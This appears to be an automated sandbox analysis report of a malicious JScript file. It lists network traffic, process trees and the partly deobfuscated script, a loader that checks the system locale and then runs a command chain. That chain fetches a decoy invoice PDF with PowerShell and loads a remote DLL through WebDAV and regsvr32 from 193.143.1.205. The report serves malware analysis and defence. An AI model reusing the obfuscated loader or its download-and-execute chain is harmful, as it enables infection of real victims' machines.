Jan 11, 2025 01:29:07.089931011 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.089963913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.089987040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.090002060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.090025902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.090038061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.090055943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.090068102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.090073109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.090080023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.090092897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.090107918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.090117931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.090131044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.090147018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.090157032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.090169907 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.090178967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.090195894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:07.090214014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.132998943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.230541945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:07.409821987 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:08.002727985 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:08.007652044 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:08.007755041 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:08.007941008 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:08.012734890 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:08.782396078 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:29:08.836244106 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:09.155435085 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 01:29:44.743966103 CET	63383	53	192.168.2.7	162.159.36.2
Jan 11, 2025 01:29:44.748748064 CET	53	63383	162.159.36.2	192.168.2.7
Jan 11, 2025 01:29:44.748835087 CET	63383	53	192.168.2.7	162.159.36.2
Jan 11, 2025 01:29:44.753757000 CET	53	63383	162.159.36.2	192.168.2.7
Jan 11, 2025 01:29:45.223124027 CET	63383	53	192.168.2.7	162.159.36.2
Jan 11, 2025 01:29:45.228085995 CET	53	63383	162.159.36.2	192.168.2.7
Jan 11, 2025 01:29:45.228143930 CET	63383	53	192.168.2.7	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:29:16.606889963 CET	60210	53	192.168.2.7	1.1.1.1
Jan 11, 2025 01:29:44.743355036 CET	53	51272	162.159.36.2	192.168.2.7
Jan 11, 2025 01:29:45.406507015 CET	53	51293	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 01:29:16.606889963 CET	192.168.2.7	1.1.1.1	0x4311	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 01:29:16.616525888 CET	1.1.1.1	192.168.2.7	0x4311	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:29:17.482846022 CET	1.1.1.1	192.168.2.7	0xe5fa	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:29:17.482846022 CET	1.1.1.1	192.168.2.7	0xe5fa	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.143.1.205	80	4024	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:29:05.548736095 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 01:29:06.346026897 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:29:06 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 01:29:06.346051931 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 01:29:06.346070051 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 01:29:06.346086025 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 01:29:06.346121073 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 01:29:06.346147060 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 01:29:06.346162081 CET	448	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 01:29:06.346175909 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 01:29:06.346195936 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 01:29:06.346229076 CET	448	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 01:29:06.351025105 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	193.143.1.205	8888	7456	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:29:08.007941008 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 01:29:08.782396078 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:29:08 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	19:29:00
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15226731132828820.js"
Imagebase:	0x7ff62a100000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:29:00
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll
Imagebase:	0x7ff60ba80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:29:00
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:29:00
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	19:29:06
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	19:29:06
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff60ba80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	19:29:06
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7f8cd0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	19:29:07
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	19:29:07
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	19:29:08
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1752,i,13390201100332667822,13189878363772357830,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function qsrvyz() {	qsrvyz() ➔ undefined
1	kgogepzr = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var kwddj = this[ehruch + uwcgrsu + crhen + gvieivjc + zvgtza + odwasbi + skpyigb + ruymncag] ( this[oiswxcbgb + ionxczbk + ayjchgo + crhen + wsmougx + ehruch + ruymncag][dahrev + crhen + zvgtza + uwcgrsu + ruymncag + zvgtza + xymqzzu + zmqictk + kovexj + zvgtza + ayjchgo + ruymncag] ( oiswxcbgb + ionxczbk + ayjchgo + crhen + wsmougx + ehruch + ruymncag + xyjfwkmy + ionxczbk + aymkgmwq + zvgtza + jvogo + jvogo ) [tnxyq + zvgtza + yuxkyaw + tnxyq + zvgtza + uwcgrsu + ehlosmujc] ( ykxdokn + szejtepsb + ibgqrqjme + dzveoom + wyywez + dahrev + xomlf + tnxyq + tnxyq + ibgqrqjme + kepadyds + klntvisd + wyywez + xomlf + ionxczbk + ibgqrqjme + tnxyq + yecchhwck + dahrev + vhkhvztqe + skpyigb + ruymncag + crhen + vhkhvztqe + jvogo + kjlyshuv + dexnhm + uwcgrsu + skpyigb + zvgtza + jvogo + yecchhwck + odwasbi + skpyigb + ruymncag + zvgtza + crhen + skpyigb + uwcgrsu + ruymncag + wsmougx + vhkhvztqe + skpyigb + uwcgrsu + jvogo + yecchhwck + ujcoux + vhkhvztqe + ayjchgo + uwcgrsu + jvogo + zvgtza ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( oolhfso = 0 ; oolhfso < kgogepzr[jvogo + zvgtza + skpyigb + yuxkyaw + ruymncag + aymkgmwq] ; ++ oolhfso )
4	{
5	if ( kwddj == kgogepzr[oolhfso] )
6	{
7	kwddj = true;
8	break ;
9	}
10	}
11	if ( kwddj !== true )
12	this[oiswxcbgb + ionxczbk + ayjchgo + crhen + wsmougx + ehruch + ruymncag][lsovqsihz + qhebgm + wsmougx + ruymncag] ( );
13	this[oiswxcbgb + ionxczbk + ayjchgo + crhen + wsmougx + ehruch + ruymncag][dahrev + crhen + zvgtza + uwcgrsu + ruymncag + zvgtza + xymqzzu + zmqictk + kovexj + zvgtza + ayjchgo + ruymncag] ( oiswxcbgb + ionxczbk + ayjchgo + crhen + wsmougx + ehruch + ruymncag + xyjfwkmy + ionxczbk + aymkgmwq + zvgtza + jvogo + jvogo ) [crhen + qhebgm + skpyigb] ( ayjchgo + hbfmlbp + ehlosmujc + kjlyshuv + narjftxm + ayjchgo + kjlyshuv + ehruch + vhkhvztqe + zhizm + zvgtza + crhen + gvieivjc + aymkgmwq + zvgtza + jvogo + jvogo + xyjfwkmy + zvgtza + nhfmaddi + zvgtza + kjlyshuv + meoqy + dahrev + vhkhvztqe + hbfmlbp + hbfmlbp + uwcgrsu + skpyigb + ehlosmujc + kjlyshuv + yjvqfvudk + odwasbi + skpyigb + thmqqegx + vhkhvztqe + qvhpu + zvgtza + meoqy + oiswxcbgb + zvgtza + zmqictk + tnxyq + zvgtza + freul + qhebgm + zvgtza + gvieivjc + ruymncag + kjlyshuv + meoqy + xymqzzu + qhebgm + ruymncag + hiutinlgz + wsmougx + jvogo + zvgtza + kjlyshuv + wprcemfh + ruymncag + zvgtza + hbfmlbp + ehruch + wprcemfh + yecchhwck + wsmougx + skpyigb + thmqqegx + vhkhvztqe + wsmougx + ayjchgo + zvgtza + xyjfwkmy + ehruch + ehlosmujc + ddoeawc + kjlyshuv + aymkgmwq + ruymncag + ruymncag + ehruch + zotnsogl + narjftxm + narjftxm + uhkfvfyuu + qpluhw + xskrxnj + xyjfwkmy + uhkfvfyuu + hofxj + xskrxnj + xyjfwkmy + uhkfvfyuu + xyjfwkmy + xwizvva + bafibkue + bfzoiv + narjftxm + wsmougx + skpyigb + thmqqegx + vhkhvztqe + wsmougx + ayjchgo + zvgtza + xyjfwkmy + ehruch + aymkgmwq + ehruch + yjvqfvudk + dumrsqx + dumrsqx + gvieivjc + ruymncag + uwcgrsu + crhen + ruymncag + kjlyshuv + wprcemfh + ruymncag + zvgtza + hbfmlbp + ehruch + wprcemfh + yecchhwck + wsmougx + skpyigb + thmqqegx + vhkhvztqe + wsmougx + ayjchgo + zvgtza + xyjfwkmy + ehruch + ehlosmujc + ddoeawc + dumrsqx + dumrsqx + ayjchgo + hbfmlbp + ehlosmujc + kjlyshuv + narjftxm + ayjchgo + kjlyshuv + skpyigb + zvgtza + ruymncag + kjlyshuv + qhebgm + gvieivjc + zvgtza + kjlyshuv + yecchhwck + yecchhwck + uhkfvfyuu + qpluhw + xskrxnj + xyjfwkmy + uhkfvfyuu + hofxj + xskrxnj + xyjfwkmy + uhkfvfyuu + xyjfwkmy + xwizvva + bafibkue + bfzoiv + wjhtkp + kwmytq + kwmytq + kwmytq + kwmytq + yecchhwck + ehlosmujc + uwcgrsu + thmqqegx + zhizm + zhizm + zhizm + crhen + vhkhvztqe + vhkhvztqe + ruymncag + yecchhwck + dumrsqx + dumrsqx + ayjchgo + hbfmlbp + ehlosmujc + kjlyshuv + narjftxm + ayjchgo + kjlyshuv + crhen + zvgtza + yuxkyaw + gvieivjc + thmqqegx + crhen + xskrxnj + xwizvva + kjlyshuv + narjftxm + gvieivjc + kjlyshuv + yecchhwck + yecchhwck + uhkfvfyuu + qpluhw + xskrxnj + xyjfwkmy + uhkfvfyuu + hofxj + xskrxnj + xyjfwkmy + uhkfvfyuu + xyjfwkmy + xwizvva + bafibkue + bfzoiv + wjhtkp + kwmytq + kwmytq + kwmytq + kwmytq + yecchhwck + ehlosmujc + uwcgrsu + thmqqegx + zhizm + zhizm + zhizm + crhen + vhkhvztqe + vhkhvztqe + ruymncag + yecchhwck + uhkfvfyuu + bafibkue + bfzoiv + xwizvva + uhkfvfyuu + xskrxnj + uhkfvfyuu + xwizvva + qpluhw + kwmytq + uhkfvfyuu + hofxj + bfzoiv + xwizvva + bfzoiv + xyjfwkmy + ehlosmujc + jvogo + jvogo, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll",0,false) ➔ 0
14	}
15	qvhpu = "g";
16	qvhpu = "k";
17	yecchhwck = "K";
18	yecchhwck = "W";
19	yecchhwck = "o";
20	yecchhwck = "f";
21	yecchhwck = "c";
22	yecchhwck = "x";
23	yecchhwck = "l";
24	yecchhwck = "n";
25	yecchhwck = "G";
26	yecchhwck = "i";
27	yecchhwck = "u";
28	yecchhwck = "L";
29	yecchhwck = "k";
30	yecchhwck = "l";
31	yecchhwck = "R";
32	yecchhwck = "N";
33	yecchhwck = "p";
34	yecchhwck = "s";
35	yecchhwck = "w";
36	yecchhwck = "f";
37	yecchhwck = "x";
38	yecchhwck = "a";
39	yecchhwck = "A";
40	yecchhwck = "j";
41	yecchhwck = "\\";
42	ibgqrqjme = "C";
43	ibgqrqjme = "I";
44	ibgqrqjme = "v";
45	ibgqrqjme = "R";
46	ibgqrqjme = "Z";
47	ibgqrqjme = "i";
48	ibgqrqjme = "r";
49	ibgqrqjme = "X";
50	ibgqrqjme = "U";
51	ibgqrqjme = "g";
52	ibgqrqjme = "S";
53	ibgqrqjme = "a";
54	ibgqrqjme = "N";
55	ibgqrqjme = "T";
56	ibgqrqjme = "X";
57	ibgqrqjme = "A";
58	ibgqrqjme = "a";
59	ibgqrqjme = "K";
60	ibgqrqjme = "k";
61	ibgqrqjme = "m";
62	ibgqrqjme = "z";
63	ibgqrqjme = "o";
64	ibgqrqjme = "o";
65	ibgqrqjme = "g";
66	ibgqrqjme = "G";
67	ibgqrqjme = "F";
68	ibgqrqjme = "d";
69	ibgqrqjme = "E";
70	ibgqrqjme = "t";
71	ibgqrqjme = "a";
72	ibgqrqjme = "C";
73	ibgqrqjme = "E";
74	uhkfvfyuu = "c";
75	uhkfvfyuu = "E";
76	uhkfvfyuu = "j";
77	uhkfvfyuu = "V";
78	uhkfvfyuu = "v";
79	uhkfvfyuu = "N";
80	uhkfvfyuu = "F";
81	uhkfvfyuu = "N";
82	uhkfvfyuu = "E";
83	uhkfvfyuu = "1";
84	aymkgmwq = "A";
85	aymkgmwq = "G";
86	aymkgmwq = "y";
